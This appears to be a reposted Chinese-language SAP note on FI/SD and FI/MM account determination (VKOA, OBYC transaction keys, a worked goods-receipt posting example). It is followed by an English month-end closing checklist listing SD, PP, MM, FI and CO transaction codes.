    FI/SD通过tcode VKOAbilling设置过帐科目,用户可以创建自己的科目定义数据表。 科目是做到COA级的,通过KOFI/KOFK这两个condition type确定分别过帐到FICO凭证中。 由于PricingProc.是同SalesOrg.相关联的,所以科目在Organization上首先要做到SalesOrg. 级,其后的AccountKey是在PricingProc.中和不同的PriceConditionType相关联的,决定着 最终销售收入、折扣、附加费用、预提等过到不同科目上。

    FI/MM
    通过tcode OBYC为所有的库存移动设置过帐科目,系统用不同的TransactionKey决定了 不同的移动类型/业务类型,对于这些TK的含义,SAPLIB中有较为详细的解释,可参阅。 科目的配置可以按照需要做在ValuationArea(Plant)ValuationClass层。 特别是我认为FI/MM AccountDetermination中最有意思的就是TKGBB的科目定义,其中有一个 东东叫做GeneralModificationKey,这个GMK是同MovementType直接相连的;除了很多标准的
    GMK
    之外,用户也可以自定义,并将它们同自定义的MovementType相关联,以决定不同的MT连接 到不同的过帐科目上。 可以按照资料到系统中配置一下,并做一些例子,有助于理解这些科目配置~
    1
    、对于收货(特别是来自采购的收货)和发票录入IV/LIV,常用的TransactionKey为:
    BSX
    ValuationClass相关联的所有基于存货科目的过帐
    FR1
    FR3 运费和关税的清帐科目(需要通过IV/LIVClear,类似GR/IR科目)
    FR2
    FR4 运费和关税预提科目(无需Clear)
    WRX
    存货GR/IR科目
    DIF SmallDifference(
    小金额差异),未超过发票价差容限的金额过到此科目(OMR6 定义ToleranceLimit)
    KDM
    处理收货同收发票汇率不一致造成的差异过帐
    KDR
    处理收外币发票时,由于四舍五入的原因造成的本币金额同GRIR本币金额不一致 的差异过帐
    UPF
    处理UnplannedDeliveryCost(计划外运费)是否单独过到某个制定科目而不是过到 存货或价差科目
    PRD
    标准成本法下处理PPV的科目,即采购价差科目

    2
    、对于发货和其他库存移动,常用的TransactionKey通常只需要关注GBB,即所谓库存移动的抵 减或对应科目,其中比较重要的一个概念就是GeneralModificationKey,这个东东是同
    MovemtType
    关联的, 较常用的有:
    AUF :
    Acct.AssignmtPP/CO订单的收货和结算
    BSA :
    通过561/562做库存初始化的过帐科目
    INV :
    库存差异导致的收入和费用科目,一般为P+L科目
    VAX/VAY:
    销售订单的发货成本科目
    VBO :
    委托加工业务,提供给供应商的库存出货科目
    VBR :
    处理内部发货业务,如直接消耗到成本中心、资产或内部订单等
    VKA :
    基于Acct.Assignmt的销售订单业务,如BTOMTO业务等
    VKP :
    基于Acct.Assignmt的项目业务,如BTPMTP业务等
    ZOB :
    PO收退货,如501/502
    ZOF :
    PP订单收退货,如521/522 同样,你可以基于自定义的MovemtType,设置相关联的自定义的GMK,并在GBB中指定科目。 此外,如果启用MaterialLedger、标准成本法核算货ProductCostbyPeriod等,相关的LKWPRV
    PRP
    PRQPRY等也需要做相关设置,详见帮助。 对于收货科目设置,举个稍复杂的例子:
    A000
    工厂下的物料AValuationClassV000;拟在MM/InfoRecord中定价2%的采购运费, 不需要通过IV/LIV清帐;价差容限定义1元以下为SmallDifference;在采购过程中发生了 计划外运费,并希望过到制定科目上;收发票时的汇率同收货时不同,有差异。 示例会计科目如下:
    1401
    原材料存货科目
    2181
    预提运费
    5121
    计划外运费
    5122 SmallDifference
    5151
    汇率差异
    6000
    存货GR/IR 可通过OBYC配置为: 库存过帐 BSX A000 V000 1401 预提运费 FR2 A000 V000 2181 小额价差 DIF 5122 计划外运 UPF 5121 汇率差异 KDM A000 V000 5151
    GR/IR WRX A000 V000 6000
    收货时的分录为(MAP计价方式,忽略VAT)
    Dr. 1401 1020.00
    Cr. 6000 1000.00
    2181 20.00
    收采购发票时的分录为:
    Dr. 6000 1000.00
    5121 100.00
    5122 0.80
    5151 1.20
    Cr. A/P 1102.00
    收运费发票的分录:
    Dr. 2181 20.00
    Cr. A/P 20.00

    SAP 月末结帐步骤[转贴]

    The following processes including SD,MM,PP,FI,CO .


    SD Relevant Steps:
    1.Check if all delivery in due list have been processedVL06G
    (Could set background jobs to automatically generate
    the billing due list for posting)
    2.Check if all picking in due list have been processedVL06P
    3.Check if all goods issue in due list have been processedVL04
    4.Check if all billed AR has been release to accountingVFX3

    PP Relevant Steps:
    1.Check if all back flash error has been solved
    (COGI Check every day this kind of problem and solved on time)
    2.Check if all production orders that will not be followed have been finally
    confirmed or technically closed. Do final confirmation even small quantity
    variance exist but we consider this order has finished
    3.Do technical close at month end for the orders will not be followed in the future
    4.Confirmation. Do not confirm any assembly scrap when do production order conf.

    MM Relevant Steps
    1.Check if all goods movement has been booked in SAP
    2.GR/IR clearing accounts maintenance if needed
    3.Open the MM period for movement posting when new period starts MMPV

    FI Relevant Steps
    1.Book all accounting entries for:
    - Accrued expense
    - Do recurring entry (prepayment, accrued expense, amortization)
    - Process G/L, vendor, customer balance & open items
    - Cost allocations by FI
    2.AM Fixed asset depreciation run and period postingAFAB
    3.AM Periodic posting ASKB
    4.G/L,AR,AP balance check & Open item clearing
    5.Foreign currency revaluation for bank/cash & AR AP open items
    Bank/cash revaluation: F.06
    AR AP open items: F.05
    6.GR/IR clearing account regrouping process F.19
    7.Automatic clearing for G/L accounts, vendor and customer F.13

    CO Relevant Steps
    1.Release standard cost estimate
    CK24Only when there are costing run to be released.
    2.Cost reallocation according to activity
    Distribution: CKV5
    Assessment: KSU5
    3.Cost splitting among activity KSS2
    4.Actual activity price calculation KSII
    5.Production order revaluation with actual activity price CON2
    6.WIP calculationfor the production orders KKAO
    7.Variance calculation for the production orders KKS1
    8.Production / Costing orders settlement CO88/KO88
    9.Material ledger closing > MMPV first
    a.Create costing runCKRU00
    b.Allow settlementCKMF_RUN
    c.Allow closing entriesCKMG_RUN
    d.Material selectionCKMB_RUN
    e.Determine costing sequenceCKMC_RUN
    f.Settle single levelCKMH_RUN
    g.Settle multi levelCKMM_RUN
    h.Post closingCKMI